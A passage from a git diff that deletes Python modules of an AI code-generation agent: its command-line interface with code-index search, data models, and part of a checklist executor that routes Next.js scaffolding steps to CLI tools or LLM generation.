'.join(phases_failed)}") - - # Step summary - total_steps = steps_succeeded + steps_failed - self.console.print(f"Steps: {steps_succeeded}/{total_steps} succeeded") - - # Errors/warnings - if errors: - self.console.print("") - self.console.print("Warnings/Errors:") - for error in errors[:5]: # Show first 5 errors - self.console.print(f" - {error}") - if len(errors) > 5: - self.console.print(f" ... and {len(errors) - 5} more") - - self.console.print("") - - # Next steps - if status == "success": - project_dir = result.get("project_dir", os.getcwd()) - self.console.print("Next steps:") - self.console.print(f" 1. cd {project_dir}") - self.console.print(" 2. npm run dev") - self.console.print(" 3. Open http://localhost:3000 in your browser") - else: - self.console.print("Next steps:") - self.console.print(" 1. Review the errors above") - self.console.print(" 2. Run the command again to retry failed steps") - - self.console.print("") - self.console.print("=" * 60) - - -def main(): - """Main entry point for testing.""" - agent = CodeAgent() - print("CodeAgent initialized successfully") - print(f"Cache directory: {agent.cache_dir}") - print( - "Validators: syntax_validator, antipattern_checker, ast_analyzer, " - "requirements_validator" - ) - - -if __name__ == "__main__": - main() diff --git a/hub/agents/code/python/gaia_agent_code/cli.py b/hub/agents/code/python/gaia_agent_code/cli.py deleted file mode 100644 index 990b848f9..000000000 --- a/hub/agents/code/python/gaia_agent_code/cli.py +++ /dev/null @@ -1,618 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT - -"""CLI for Code Agent.""" - -import argparse -import json -import logging -import os -import sys -from pathlib import Path - -from rich.console import Console - -logger = logging.getLogger(__name__) -console = Console() - - -def _run_interactive_mode(agent, project_path, args, log): - """Run the interactive REPL loop for the Code Agent.""" - while True: - try: - query = input("\ncode> ").strip() - - if query.lower() in ["exit", "quit"]: - log.info("Goodbye!") - break - - if query.lower() == "help": - print("\nAvailable commands:") - print(" Generate functions, classes, or tests") - print(" Analyze Python files") - print(" Validate Python syntax") - print(" Lint and format code") - print(" Edit files with diffs") - print(" Search for code patterns") - print(" Type 'exit' or 'quit' to end") - continue - - if not query: - continue - - # Process the query - result = agent.process_query( - query, - workspace_root=project_path, - max_steps=args.max_steps, - trace=args.trace, - ) - - # Display result - if not args.silent: - if result.get("status") == "success": - log.info(f"\n✅ {result.get('result', 'Task completed')}") - else: - log.error(f"\n❌ {result.get('result', 'Task failed')}") - - except KeyboardInterrupt: - print("\n\nInterrupted. Type 'exit' to quit.") - continue - except Exception as e: - log.error(f"Error processing query: {e}") - if args.debug: - import traceback - - traceback.print_exc() - - -def cmd_run(args): - """Run the Code Agent with a query.""" - from gaia.logger import get_logger - - log = get_logger(__name__) - - # Set logging level to DEBUG if --debug flag is used - if args.debug: - from gaia.logger import log_manager - - # Set root logger level first to ensure all handlers process DEBUG messages - root_logger = logging.getLogger() - root_logger.setLevel(logging.DEBUG) - - # Update all existing loggers that start with "gaia" - for logger_name in list(log_manager.loggers.keys()): - if logger_name.startswith("gaia"): - log_manager.loggers[logger_name].setLevel(logging.DEBUG) - - # Set default level for future loggers - log_manager.set_level("gaia", logging.DEBUG) - - # Also ensure all handlers have DEBUG level - for handler in root_logger.handlers: - handler.setLevel(logging.DEBUG) - - # Check if code agent is available - try: - from gaia_agent_code.agent import CodeAgent # noqa: F401 - - CODE_AVAILABLE = True - except ImportError: - CODE_AVAILABLE = False - - if not CODE_AVAILABLE: - log.error("Code agent is not available. Please check your installation.") - return 1 - - # Get base_url from args or environment - base_url = args.base_url - if base_url is None: - base_url = os.getenv("LEMONADE_BASE_URL", "http://localhost:13305/api/v1") - - # Initialize Lemonade with code agent profile (32768 context) - # Skip for remote servers (e.g., devtunnel URLs), external APIs, or --no-lemonade-check - is_local = "localhost" in base_url or "127.0.0.1" in base_url - skip_lemonade = args.no_lemonade_check - if is_local and not skip_lemonade: - from gaia.cli import initialize_lemonade_for_agent - - success, _ = initialize_lemonade_for_agent( - agent="code", - skip_if_external=True, - use_claude=args.use_claude, - use_chatgpt=args.use_chatgpt, - ) - if not success: - return 1 - - try: - # Import RoutingAgent for intelligent language detection. It ships as - # the standalone gaia-agent-routing wheel (#1102), declared as a - # dependency of this package. - from gaia_agent_routing.agent import RoutingAgent - - # Handle --path argument - project_path = args.path if hasattr(args, "path") else None - if project_path: - project_path = Path(project_path).expanduser().resolve() - # Create directory if it doesn't exist - project_path.mkdir(parents=True, exist_ok=True) - project_path = str(project_path) - log.debug(f"Using project path: {project_path}") - - # Get the query to analyze - query = args.query if hasattr(args, "query") and args.query else None - - # Use RoutingAgent to determine language and project type - if query: - # Prepare agent configuration from CLI args - agent_config = { - "silent_mode": args.silent, - "debug": args.debug, - "show_prompts": args.show_prompts, - "max_steps": args.max_steps, - "use_claude": args.use_claude, - "use_chatgpt": args.use_chatgpt, - "streaming": args.stream, - "base_url": args.base_url, - "skip_lemonade": args.no_lemonade_check, - } - - # Single query mode - use routing with configuration - router = RoutingAgent(**agent_config) - agent = router.process_query(query) - else: - # Interactive mode - start with default Python agent - # User can still benefit from routing per query - agent = CodeAgent( - silent_mode=args.silent, - debug=args.debug, - show_prompts=args.show_prompts, - max_steps=args.max_steps, - use_claude=args.use_claude, - use_chatgpt=args.use_chatgpt, - streaming=args.stream, - base_url=args.base_url, - skip_lemonade=args.no_lemonade_check, - ) - - # Handle list tools option - if args.list_tools: - agent.list_tools(verbose=True) - return 0 - - # Handle interactive mode - if args.interactive: - log.info("🤖 Code Agent Interactive Mode") - log.info("Type 'exit' or 'quit' to end the session") - log.info("Type 'help' for available commands\n") - - _run_interactive_mode(agent, project_path, args, log) - return 0 - - # Single query mode - elif query: - result = agent.process_query( - query, - workspace_root=project_path, - max_steps=args.max_steps, - trace=args.trace, - step_through=args.step_through, - ) - - # Output result - if args.silent: - # In silent mode, output only JSON - print(json.dumps(result, indent=2)) - else: - # Display formatted result - agent.display_result("Code Operation Result", result) - - return 0 if result.get("status") == "success" else 1 - - else: - # Default to interactive mode when no query provided - log.info("Starting Code Agent interactive mode (type 'help' for commands)") - - _run_interactive_mode(agent, project_path, args, log) - return 0 - - except Exception as e: - log.error(f"Error initializing Code agent: {e}") - if args.debug: - import traceback - - traceback.print_exc() - return 1 - - -def _build_index_parser(): - """Build the argparse parser for ``gaia-code index``.""" - parser = argparse.ArgumentParser( - prog="gaia-code index", - description="Index a code repository for semantic search", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -Examples: - # Index current directory - gaia-code index - - # Index a specific repository - gaia-code index --repo /path/to/repo - - # Search the index - gaia-code index search "how does the agent handle errors" - - # Restrict search to source code chunks - gaia-code index search "auth flow" --scope code --top-k 5 - - # Show index status - gaia-code index status - - # Clear the index - gaia-code index clear - - # Interactive code Q&A (CodeAgent + code_index tools) - gaia-code index chat - """, - ) - parser.add_argument( - "--repo", - default=".", - help="Path to repository root (default: current directory)", - ) - parser.add_argument( - "--max-files", - type=int, - default=5000, - help="Maximum number of files to index (default: 5000)", - ) - parser.add_argument( - "--model", - default="nomic-embed-text-v2-moe-GGUF", - help="Embedding model to use (default: nomic-embed-text-v2-moe-GGUF)", - ) - # Shared LLM / Lemonade flags (used by `chat`) - parser.add_argument( - "--use-claude", - action="store_true", - help="Use Claude API instead of local Lemonade server (for `chat`)", - ) - parser.add_argument( - "--use-chatgpt", - action="store_true", - help="Use ChatGPT/OpenAI API instead of local Lemonade server (for `chat`)", - ) - parser.add_argument( - "--base-url", - default=None, - help="Lemonade server URL (default: http://localhost:8000/api/v1)", - ) - parser.add_argument( - "--no-lemonade-check", - action="store_true", - help="Skip Lemonade server initialization check", - ) - - sub = parser.add_subparsers(dest="index_action", help="Index action") - - search_p = sub.add_parser("search", help="Search the index") - search_p.add_argument("query", help="Search query") - search_p.add_argument( - "--scope", - choices=["all", "code"], - default="all", - help="Scope of search (default: all)", - ) - search_p.add_argument( - "--top-k", - type=int, - default=10, - help="Number of results to return (default: 10)", - ) - - sub.add_parser("status", help="Show index status") - sub.add_parser("clear", help="Clear the index") - sub.add_parser("chat", help="Interactive code Q&A (CodeAgent + code_index tools)") - - return parser - - -def cmd_index(argv): - """Handle ``gaia-code index [...]`` (semantic code search). - - Args: - argv: Remaining CLI args after the leading ``index`` token - (e.g. ``sys.argv[2:]``). - - Returns: - Process exit code (0 = success, non-zero = failure). - """ - try: - from gaia.code_index.sdk import CodeIndexConfig, CodeIndexSDK - except ImportError: - print("code_index dependencies missing. Install with: pip install -e '.[rag]'") - return 1 - - parser = _build_index_parser() - args = parser.parse_args(argv) - - repo_path = os.path.abspath(args.repo) - config = CodeIndexConfig( - repo_path=repo_path, - max_files=args.max_files, - embedding_model=args.model, - ) - sdk = CodeIndexSDK(config) - - action = args.index_action - - if action == "chat": - try: - from gaia_agent_code.agent import CodeAgent - except ImportError: - print( - "code_index dependencies missing. " - "Install with: pip install -e '.[rag]'" - ) - return 1 - - if not args.no_lemonade_check: - from gaia.cli import initialize_lemonade_for_agent - - success, _ = initialize_lemonade_for_agent( - agent="code", - skip_if_external=True, - use_claude=args.use_claude, - use_chatgpt=args.use_chatgpt, - base_url=args.base_url, - ) - if not success: - return 1 - - agent = CodeAgent( - repo_path=repo_path, - code_index_config=config, - use_claude=args.use_claude, - use_chatgpt=args.use_chatgpt, - base_url=args.base_url, - skip_lemonade=args.no_lemonade_check, - ) - print("=== Code Index Chat ===") - print(f"Repository: {repo_path}") - print("Ask questions about the codebase. Type 'exit' or 'quit' to stop.\n") - while True: - try: - query = input("You: ") - if query.lower() in ["exit", "quit", "q"]: - break - if query.strip(): - agent.process_query(query) - except KeyboardInterrupt: - print("\nExiting.") - break - except Exception as e: - print(f"Error: {e}") - return 0 - - if action == "status": - status = sdk.get_status() - if not status.get("indexed"): - print(f"No index found for {repo_path}") - print("Run 'gaia-code index' to build the index.") - else: - print(f"Repository: {status['repo_path']}") - print(f"Embedding model: {status.get('embedding_model', 'unknown')}") - print(f"Total chunks: {status.get('total_chunks', 0)}") - print(f" Code chunks: {status.get('code_chunks', 0)}") - print(f"Files tracked: {status.get('files_tracked', 0)}") - return 0 - - if action == "clear": - sdk.clear_index() - print(f"Index cleared for {repo_path}") - return 0 - - if action == "search": - # search() raises (rather than pretending "no matches") when the - # embedder can't produce a query vector — e.g. Lemonade still warming - # up. Surface that as a message, not a traceback, like build does. - try: - results = sdk.search(args.query, scope=args.scope, top_k=args.top_k) - except Exception as e: - print(f"Search failed: {e}") - return 1 - if not results: - print("No results found. Run 'gaia-code index' first.") - return 0 - for i, r in enumerate(results, 1): - chunk = r.chunk - print(f"\n{'=' * 60}") - print(f"Result {i} (score: {r.score:.4f}, type: {r.result_type})") - if hasattr(chunk, "file_path"): - line = f":{chunk.start_line}" if hasattr(chunk, "start_line") else "" - print(f"File: {chunk.file_path}{line}") - if hasattr(chunk, "symbol_name") and chunk.symbol_name: - print( - f"Symbol: {chunk.symbol_name} " - f"({getattr(chunk, 'symbol_type', '')})" - ) - print(f"\n{chunk.content[:400]}") - return 0 - - # Default action: build the index - print(f"Indexing repository: {repo_path}") - try: - result = sdk.index_repository() - print("\nIndexing complete:") - print(f" Files indexed: {result.files_indexed}") - print(f" Chunks created: {result.chunks_created}") - return 0 - except Exception as e: - print(f"Indexing failed: {e}") - return 1 - - -def main(): - """Main CLI entry point.""" - # Dispatch `gaia-code index ...` before the main argparse runs, since the - # main parser has a positional `query` that would otherwise swallow - # "index" as a free-form query string. - if len(sys.argv) > 1 and sys.argv[1] == "index": - return cmd_index(sys.argv[2:]) - - parser = argparse.ArgumentParser( - description="GAIA Code Agent - AI-powered code generation and analysis", - formatter_class=argparse.RawDescriptionHelpFormatter, - epilog=""" -Examples: - # Generate code with a query - gaia-code "Build me a todo tracking app using typescript" - - # Work in a specific directory - gaia-code "Build me a todo app" --path ~/src/todo-app - - # Interactive mode - gaia-code --interactive - gaia-code -i - - # List available tools - gaia-code --list-tools - - # Use external LLM APIs - gaia-code "Build an app" --use-claude - gaia-code "Build an app" --use-chatgpt - - # Debug mode - gaia-code "Build an app" --debug - - # Semantic code search (see `gaia-code index --help`) - gaia-code index --repo . - gaia-code index search "how does auth work" --scope code - gaia-code index status - gaia-code index chat - """, - ) - - # Positional argument - the code query - parser.add_argument( - "query", - nargs="?", - help="Code operation query (e.g., 'Build me a todo app')", - ) - - # Mode flags - parser.add_argument( - "--interactive", - "-i", - action="store_true", - help="Interactive mode for multiple queries", - ) - parser.add_argument( - "--list-tools", - action="store_true", - help="List all available tools and exit", - ) - - # Project configuration - parser.add_argument( - "--path", - "-p", - type=str, - default=None, - help="Project directory path. Creates directory if it doesn't exist.", - ) - - # Debug and output options - parser.add_argument( - "--debug", - action="store_true", - help="Enable debug logging", - ) - parser.add_argument( - "--silent", - "-s", - action="store_true", - help="Silent mode - suppress console output, return JSON only", - ) - parser.add_argument( - "--step-through", - action="store_true", - help="Enable step-through debugging mode (pause at each agent step)", - ) - parser.add_argument( - "--show-prompts", - action="store_true", - help="Display prompts sent to LLM", - ) - parser.add_argument( - "--trace", - action="store_true", - help="Save conversation trace to JSON file", - ) - - # LLM backend options - parser.add_argument( - "--use-claude", - action="store_true", - help="Use Claude API instead of local Lemonade server", - ) - parser.add_argument( - "--use-chatgpt", - action="store_true", - help="Use ChatGPT/OpenAI API instead of local Lemonade server", - ) - parser.add_argument( - "--base-url", - default=None, - help="Lemonade server URL (default: http://localhost:13305/api/v1)", - ) - parser.add_argument( - "--no-lemonade-check", - action="store_true", - help="Skip Lemonade server initialization check", - ) - - # Agent configuration - parser.add_argument( - "--max-steps", - type=int, - default=100, - help="Maximum conversation steps (default: 100)", - ) - parser.add_argument( - "--stream", - action="store_true", - help="Enable streaming responses", - ) - - # Parse args - args = parser.parse_args() - - # Configure logging - WARNING by default, DEBUG with --debug flag - if args.debug: - logging.basicConfig( - level=logging.DEBUG, - format="%(asctime)s | %(levelname)s | %(name)s | %(message)s", - datefmt="%H:%M:%S", - ) - else: - # Suppress logs from gaia modules for cleaner output - logging.basicConfig(level=logging.WARNING) - for logger_name in ["gaia", "gaia.llm", "gaia.agents"]: - logging.getLogger(logger_name).setLevel(logging.WARNING) - - # Run command - try: - return cmd_run(args) - except Exception as e: - console.print(f"[red]Error: {e}[/red]") - if args.debug: - import traceback - - traceback.print_exc() - return 1 - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/hub/agents/code/python/gaia_agent_code/models.py b/hub/agents/code/python/gaia_agent_code/models.py deleted file mode 100644 index f9ca77804..000000000 --- a/hub/agents/code/python/gaia_agent_code/models.py +++ /dev/null @@ -1,135 +0,0 @@ -#!/usr/bin/env python -# Copyright(C) 2024-2025 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Data models for the Code Agent. - -This module contains all data classes and type definitions used across -the code agent modules. -""" - -import ast -from dataclasses import dataclass, field -from typing import Any, Dict, List, Optional - - -@dataclass -class CodeSymbol: - """Represents a code symbol (function, class, variable).""" - - name: str - type: str # 'function', 'class', 'variable', 'import' - line: int - docstring: Optional[str] = None - signature: Optional[str] = None - - -@dataclass -class ParsedCode: - """Result of parsing Python code.""" - - ast_tree: Optional[ast.Module] = None - symbols: List[CodeSymbol] = field(default_factory=list) - imports: List[str] = field(default_factory=list) - errors: List[str] = field(default_factory=list) - is_valid: bool = False - - -@dataclass -class ModuleSpec: - """Specification for a module in a project.""" - - name: str - purpose: str - classes: List[Dict[str, Any]] = field(default_factory=list) - functions: List[Dict[str, Any]] = field(default_factory=list) - - -@dataclass -class TestSpec: - """Specification for a test module.""" - - name: str - coverage: str - test_cases: List[str] = field(default_factory=list) - - -@dataclass -class ProjectPlan: - """Complete project plan with architecture and modules.""" - - name: str - architecture: Dict[str, Any] - modules: List[ModuleSpec] - tests: List[TestSpec] - description: str = "" - project_type: str = "application" - - -@dataclass -class ValidationResult: - """Result of code validation.""" - - is_valid: bool - errors: List[str] = field(default_factory=list) - warnings: List[str] = field(default_factory=list) - fixes_applied: List[str] = field(default_factory=list) - file_modified: bool = False - - -@dataclass -class MethodSpec: - """Specification for a class method.""" - - name: str - params: str = "self" - docstring: str = "Method description." - body: str = "pass" - return_type: Optional[str] = None - - -@dataclass -class ProjectStructure: - """Represents a complete project structure.""" - - name: str - files: Dict[str, str] # filename -> content - structure: Dict[str, Any] # nested directory structure - plan: Optional[ProjectPlan] = None - - -@dataclass -class WorkflowPlan: - """Plan for executing a coding workflow.""" - - query: str - steps: List[Dict[str, Any]] - current_step: int = 0 - completed_steps: List[int] = field(default_factory=list) - status: str = "pending" # pending, in_progress, completed, failed - - -@dataclass -class LintIssue: - """Represents a linting issue found by pylint.""" - - type: str # error, warning, convention, refactor - message: str - file: str - line: int - column: int = 0 - symbol: Optional[str] = None - - -@dataclass -class ExecutionResult: - """Result of executing Python code.""" - - stdout: str - stderr: str - return_code: int - has_errors: bool - duration_seconds: float - timed_out: bool = False - file_path: Optional[str] = None - command: Optional[str] = None diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/__init__.py b/hub/agents/code/python/gaia_agent_code/orchestration/__init__.py deleted file mode 100644 index b90c3b278..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/__init__.py +++ /dev/null @@ -1,24 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -""" -Orchestration framework for Code Agent. - -This module provides LLM-driven workflow orchestration using checklist mode. -The LLM generates a checklist of template invocations, which are then -executed deterministically with error recovery. -""" - -from .orchestrator import ExecutionResult, Orchestrator -from .steps.base import BaseStep, ErrorCategory, StepResult, StepStatus, UserContext - -__all__ = [ - # Core - "Orchestrator", - "ExecutionResult", - # Steps - "BaseStep", - "StepResult", - "StepStatus", - "ErrorCategory", - "UserContext", -] diff --git a/hub/agents/code/python/gaia_agent_code/orchestration/checklist_executor.py b/hub/agents/code/python/gaia_agent_code/orchestration/checklist_executor.py deleted file mode 100644 index 9ba3f99b6..000000000 --- a/hub/agents/code/python/gaia_agent_code/orchestration/checklist_executor.py +++ /dev/null @@ -1,1814 +0,0 @@ -# Copyright(C) 2025-2026 Advanced Micro Devices, Inc. All rights reserved. -# SPDX-License-Identifier: MIT -"""Checklist Executor for LLM-Driven Code Generation. - -This module executes checklist items generated by ChecklistGenerator. -For code-generating templates, the LLM is invoked per item to produce -contextual, high-quality code. CLI commands remain deterministic. - -The executor: -1. Receives a GeneratedChecklist from ChecklistGenerator -2. For each item, routes to LLM generation or deterministic execution -3. Tracks results and handles errors with recovery -4. Returns a complete ExecutionResult - -Error handling follows the three-tier strategy: -1. RETRY: Simple retries for transient errors -2. FIX_AND_RETRY: Auto-fix and retry for known issues -3. ABORT: Stop execution for unrecoverable errors -""" - -import inspect -import json -import logging -import os -import sys -from dataclasses import dataclass, field -from typing import Any, Callable, Dict, List, Optional, Protocol - -from gaia.agents.base.console import AgentConsole -from gaia.agents.base.tools import _TOOL_REGISTRY - -from .checklist_generator import ChecklistItem, GeneratedChecklist -from .steps.base import StepResult, ToolExecutor, UserContext -from .steps.error_handler import ErrorHandler, RecoveryAction -from .template_catalog import get_template - -logger = logging.getLogger(__name__) - - -class AgentSDK(Protocol): - """Protocol for agent SDK interface used by LLM code generation.""" - - def send(self, message: str, timeout: int = 600, no_history: bool = False) -> Any: - """Send a message and get response.""" - ... - - def send_stream(self, message: str, **kwargs) -> Any: - """Send a message and get streaming response.""" - ... - - -# ============================================================================ -# Template Classification -# ============================================================================ - -# Templates that execute CLI commands - remain deterministic (no LLM) -DETERMINISTIC_TEMPLATES = { - "create_next_app", - "setup_prisma", - "prisma_db_sync", - "setup_testing", - "run_typescript_check", - "validate_styles", - "generate_style_tests", - "run_tests", - "fix_code", -} - -# Templates that generate code files - use LLM for contextual generation -# NOTE: generate_prisma_model is NOT here because it must APPEND to schema.prisma, -# not overwrite it. The manage_data_model tool handles this correctly. -LLM_GENERATED_TEMPLATES = { - "generate_react_component", - "generate_api_route", - "setup_app_styling", - "update_landing_page", -} - -# Template metadata for validation of LLM-generated code -TEMPLATE_METADATA: Dict[str, Dict[str, Any]] = { - "generate_react_component": { - "list": { - "requires_client": False, - "expected_classes": ["page-title", "btn-primary"], - "file_pattern": "src/app/{resource}s/page.tsx", - }, - "form": { - "requires_client": True, - "expected_classes": [ - "input-field", - "btn-primary", - "btn-secondary", - ], - "file_pattern": "src/components/{Resource}Form.tsx", - }, - "new": { - "requires_client": True, - "expected_classes": ["page-title", "link-back"], - "file_pattern": "src/app/{resource}s/new/page.tsx", - }, - "detail": { - "requires_client": True, - "expected_classes": [ - "page-title", - "btn-primary", - "btn-danger", - ], - "file_pattern": "src/app/{resource}s/[id]/page.tsx", - }, - "artifact-timer": { - "requires_client": True, - "expected_classes": [ - "glass-card", - ], - }, - }, - "generate_api_route": { - "collection": { - "requires_client": False, - "expected_classes": [], - "file_pattern": "src/app/api/{resource}s/route.ts", - }, - "item": { - "requires_client": False, - "expected_classes": [], - "file_pattern": "src/app/api/{resource}s/[id]/route.ts", - }, - }, - # NOTE: generate_prisma_model removed - uses tool-based execution, not LLM - "setup_app_styling": { - "default": { - "requires_client": False, - "expected_classes": ["page-title", "btn-primary"], - "file_pattern": "src/app/globals.css", - }, - }, - "update_landing_page": { - "default": { - "requires_client": False, - "expected_classes": ["page-title"], - "file_pattern": "src/app/page.tsx", - }, - }, -} - -# Templates whose results should be logged for downstream validation/QA prompts -VALIDATION_TEMPLATES = { - "run_typescript_check", - "validate_styles", - "run_tests", -} - - -@dataclass -class ItemExecutionResult: - """Result of executing a single checklist item.""" - - template: str - params: Dict[str, Any] - description: str - success: bool - files: List[str] = field(default_factory=list) - warnings: List[str] = field(default_factory=list) - error: Optional[str] = None - error_recoverable: bool = True - output: Dict[str, Any] = field(default_factory=dict) - # The user declined the tool at the confirmation prompt. Terminal by - # definition — retrying would just re-prompt for the same denied call. - denied: bool = False - - def to_dict(self) -> Dict[str, Any]: - """Convert to dictionary representation.""" - return { - "template": self.template, - "params": self.params, - "description": self.description, - "success": self.success, - "files": self.files, - "warnings": self.warnings, - "error": self.error, - "denied": self.denied, - } - - -@dataclass -class ValidationLogEntry: - """Structured log entry for validation/test steps.""" - - template: str - description: str - success: bool - error: Optional[str] - output: Dict[str, Any] = field(default_factory=dict) - files: List[str] = field(default_factory=list) - - def to_dict(self) -> Dict[str, Any]: - """Convert to plain dictionary for serialization.""" - return { - "template": self.template, - "description": self.description, - "success": self.success, - "error": self.error, - "files": self.files, - "output": self.output, - } - - -@dataclass -class ChecklistExecutionResult: - """Result of executing a complete checklist.""" - - checklist: GeneratedChecklist - item_results: List[ItemExecutionResult] = field(default_factory=list) - success: bool = True - total_files: List[str] = field(default_factory=list) - errors: List[str] = field(default_factory=list) - warnings: List[str] = field(default_factory=list) - validation_logs: List[ValidationLogEntry] = field(default_factory=list) - - @property - def items_succeeded(self) -> int: - """Count of successfully executed items.""" - return sum(1 for r in self.item_results if r.success) - - @property - def items_failed(self) -> int: - """Count of failed items.""" - return sum(1 for r in self.item_results if not r.success) - - @property - def denied(self) -> bool: - """True if any item was blocked by the user-confirmation guardrail.""" - return any(r.denied for r in self.item_results) - - @property - def summary(self) -> str: - """Human-readable summary of execution.""" - status = "SUCCESS" if self.success else "FAILED" - return ( - f"{status}: {self.items_succeeded}/{len(self.item_results)} items completed, " - f"{len(self.total_files)} files created" - ) - - def to_dict(self) -> Dict[str, Any]: - """Convert to dictionary representation.""" - return { - "success": self.success, - "summary": self.summary, - "reasoning": self.checklist.reasoning, - "items": [r.to_dict() for r in self.item_results], - "files": self.total_files, - "errors": self.errors, - "warnings": self.warnings, - "validation_logs": [log.to_dict() for log in self.validation_logs], - } - - -# Template to tool mapping -TEMPLATE_TO_TOOL: Dict[str, str] = { - "create_next_app": "run_cli_command", # Uses npx create-next-app - "setup_app_styling": "setup_app_styling", - "setup_prisma": "run_cli_command", # Uses npx prisma init + creates singleton - "prisma_db_sync": "run_cli_command", # Uses npx prisma generate && npx prisma db push - "setup_testing": "setup_nextjs_testing", - "generate_prisma_model": "manage_data_model", - "generate_api_route": "manage_api_endpoint", - "generate_react_component": "manage_react_component", - "update_landing_page": "update_landing_page", - "run_typescript_check": "validate_typescript", - "validate_styles": "validate_styles", # CSS/design system validation (Issue #1002) - "generate_style_tests": "generate_style_tests", # Generate CSS tests - "run_tests": "run_cli_command", # Uses npm test - "fix_code": "fix_code", -} - -# Next.js version for create-next-app -NEXTJS_VERSION = "14.2.33" - - -class ChecklistExecutor: - """Execute checklist items with LLM-driven code generation. - - For code-generating templates, the LLM is invoked per item to produce - contextual, high-quality code. CLI commands remain deterministic. - - Template routing: - - DETERMINISTIC_TEMPLATES: Execute CLI commands directly (no LLM) - - LLM_GENERATED_TEMPLATES: Use LLM to generate code with template as guidance - - Fallback: Use tool executor for unknown templates - - Error recovery uses the three-tier strategy via ErrorHandler: - 1. RETRY: Simple retry for transient errors - 2. FIX_AND_RETRY: LLM fixes code then retry - 3. ESCALATE: LLM rewrites from scratch - 4. ABORT: Give up after max attempts - """ - - def __init__( - self, - tool_executor: ToolExecutor, - llm_client: Optional[AgentSDK] = None, - error_handler: Optional[ErrorHandler] = None, - progress_callback: Optional[Callable[[str, int, int], None]] = None, - console: Optional[AgentConsole] = None, - ): - """Initialize the checklist executor. - - Args: - tool_executor: Function to execute tools (name, args) -> result - llm_client: Optional LLM client for code generation (enables per-item LLM) - error_handler: Optional error handler for recovery (enables retries) - progress_callback: Optional callback(item_desc, current, total) - console: Optional console for displaying output - """ - self.tool_executor = tool_executor - self.llm_client = llm_client - self.error_handler = error_handler - self.progress_callback = progress_callback - self.console = console or AgentConsole() - self._tool_signature_cache: Dict[str, inspect.Signature] = {} - - def _tool_accepts_parameter(self, tool_name: str, parameter: str) -> bool: - """Return True if the tool accepts the provided parameter.""" - tool_entry = _TOOL_REGISTRY.get(tool_name) - if not tool_entry: - return False - - if tool_name in self._tool_signature_cache: - signature = self._tool_signature_cache[tool_name] - else: - tool_func = tool_entry.get("function") - if not tool_func: - return False - try: - signature = inspect.signature(tool_func) - except (TypeError, ValueError): - return False - self._tool_signature_cache[tool_name] = signature - - if parameter in signature.parameters: - return True - - return any( - param.kind == inspect.Parameter.VAR_KEYWORD - for param in signature.parameters.values() - ) - - def execute( - self, - checklist: GeneratedChecklist, - context: UserContext, - stop_on_error: bool = True, - step_through: bool = False, - ) -> ChecklistExecutionResult: - """Execute all checklist items in order. - - Args: - checklist: Checklist to execute - context: User context with project info - stop_on_error: Whether to stop on first critical error - step_through: Enable step-through debugging - - Returns: - ChecklistExecutionResult with all item results - """ - logger.debug( - f"Executing checklist with {len(checklist.items)} items: " - f"{checklist.reasoning}" - ) - - self.console.print_checklist_reasoning(checklist.reasoning) - - result = ChecklistExecutionResult(checklist=checklist) - - # Check for validation errors first - if not checklist.is_valid: - logger.error( - f"Checklist has validation errors: {checklist.validation_errors}" - ) - result.success = False - result.errors.extend(checklist.validation_errors) - return result - - # Use items in the order generated by LLM - ordered_items = checklist.items - total = len(ordered_items) - - # Execute each item with error recovery - for idx, item in enumerate(ordered_items, 1): - self.console.print_checklist(ordered_items, idx - 1) - self._report_progress(item.description, idx, total) - - # Use recovery wrapper if error_handler is available - item_result = self._execute_item_with_recovery(item, context) - result.item_results.append(item_result) - - # Capture validation/test output for downstream prompts - if item.template in VALIDATION_TEMPLATES: - result.validation_logs.append( - ValidationLogEntry( - template=item.template, - description=item.description, - success=item_result.success, - error=item_result.error, - output=item_result.output, - files=item_result.files, - ) - ) - - # Collect files and warnings before any early exit below, so a - # stopped run still reports what the completed items produced. - result.total_files.extend(item_result.files) - result.warnings.extend(item_result.warnings) - - # Handle errors - if not item_result.success: - result.errors.append(item_result.error or "Unknown error") - - # A denied tool ends the checklist regardless of stop_on_error: - # later items assume the denied step's side effects exist, and - # continuing would just queue up more prompts for the same work. - if item_result.denied: - logger.error( - "Stopping checklist: %s was denied by the user", - item.template, - ) - result.success = False - break - - if stop_on_error and not item_result.error_recoverable: - logger.error( - f"Stopping execution due to critical error in " - f"{item.template}: {item_result.error}" - ) - result.success = False - break - - # Handle step-through - if step_through: - if not self._handle_step_through(item.description): - logger.info("Execution stopped by user during step-through") - break - - # Update overall success - if result.items_failed > 0: - result.success = False - - logger.info(result.summary) - return result - - def _execute_item( - self, - item: ChecklistItem, - context: UserContext, - ) -> ItemExecutionResult: - """Execute a single checklist item with routing. - - Routes execution based on template type: - - DETERMINISTIC_TEMPLATES: Execute CLI commands directly (no LLM) - - LLM_GENERATED_TEMPLATES: Use LLM to generate code (if llm_client available) - - Fallback: Use tool executor for unknown templates - - Args: - item: Checklist item to execute - context: User context - - Returns: - ItemExecutionResult - """ - logger.debug(f"Executing: {item.template} - {item.description}") - - try: - # Route 1: Deterministic templates (CLI commands) - no LLM needed - if item.template in DETERMINISTIC_TEMPLATES: - logger.debug(f"Deterministic execution for {item.template}") - return self._execute_deterministic(item, context) - - # Route 2: LLM-generated templates - use LLM for code generation - if item.template in LLM_GENERATED_TEMPLATES and self.llm_client: - logger.info(f"LLM code generation for {item.template}") - return self._execute_with_llm(item, context) - - # Route 3: Fallback to tool execution (no LLM or unknown template) - logger.debug(f"Fallback tool execution for {item.template}") - return self._execute_via_tool(item, context) - - except Exception as e: - logger.exception(f"Exception executing {item.template}") - return ItemExecutionResult( - template=item.template, - params=item.params, - description=item.description, - success=False, - error=str(e), - error_recoverable=False, - ) - - def _execute_deterministic( - self, - item: ChecklistItem, - context: UserContext, - ) -> ItemExecutionResult: - """Execute a deterministic template (CLI command). - - These templates don't need LLM - they run predefined commands. - - Args: - item: Checklist item to execute - context: User context - - Returns: - ItemExecutionResult - """ - # Map template to tool name - tool_name = TEMPLATE_TO_TOOL.get(item.template, item.template) - - # Build params for CLI execution - params = self._build_params(item, context) - - logger.debug(f"Calling tool '{tool_name}' with params: {params}") 